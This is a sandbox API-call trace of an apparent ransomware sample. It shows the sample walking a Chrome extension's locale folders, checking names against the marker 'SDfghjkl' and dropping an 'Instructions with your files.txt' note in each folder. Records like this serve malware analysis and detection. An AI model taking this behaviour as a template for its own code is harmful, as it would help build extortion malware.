[0128.824] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 155
[0128.824] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.824] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.824] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\Instructions with your files.txt") returned 174
[0128.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.825] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.826] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.826] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.826] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.826] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.826] CloseHandle (hObject=0x134) returned 1
[0128.826] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.826] GetProcessHeap () returned 0x810000
[0128.826] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.826] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0128.826] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 141
[0128.826] GetProcessHeap () returned 0x810000
[0128.826] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.826] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*") returned 143
[0128.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.827] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\.") returned 143
[0128.827] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.827] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\..") returned 144
[0128.827] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.827] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 155
[0128.827] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.827] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.827] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\Instructions with your files.txt") returned 174
[0128.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.827] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.828] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.828] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.828] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.829] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.829] CloseHandle (hObject=0x134) returned 1
[0128.829] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.829] GetProcessHeap () returned 0x810000
[0128.829] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.829] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0128.829] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 141
[0128.829] GetProcessHeap () returned 0x810000
[0128.829] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.829] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*") returned 143
[0128.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.830] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\.") returned 143
[0128.830] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.830] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\..") returned 144
[0128.830] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.830] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 155
[0128.830] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.830] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.830] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\Instructions with your files.txt") returned 174
[0128.830] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.830] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.831] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.831] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.831] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.832] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.832] CloseHandle (hObject=0x134) returned 1
[0128.832] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.832] GetProcessHeap () returned 0x810000
[0128.832] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.832] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0128.832] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 141
[0128.832] GetProcessHeap () returned 0x810000
[0128.832] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.832] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*") returned 143
[0128.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.833] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\.") returned 143
[0128.833] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.833] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\..") returned 144
[0128.833] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.833] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 155
[0128.833] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.833] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.833] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\Instructions with your files.txt") returned 174
[0128.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.834] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.834] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.835] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.835] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.835] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.835] CloseHandle (hObject=0x134) returned 1
[0128.835] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.835] GetProcessHeap () returned 0x810000
[0128.835] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.835] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0128.835] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 141
[0128.835] GetProcessHeap () returned 0x810000
[0128.835] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
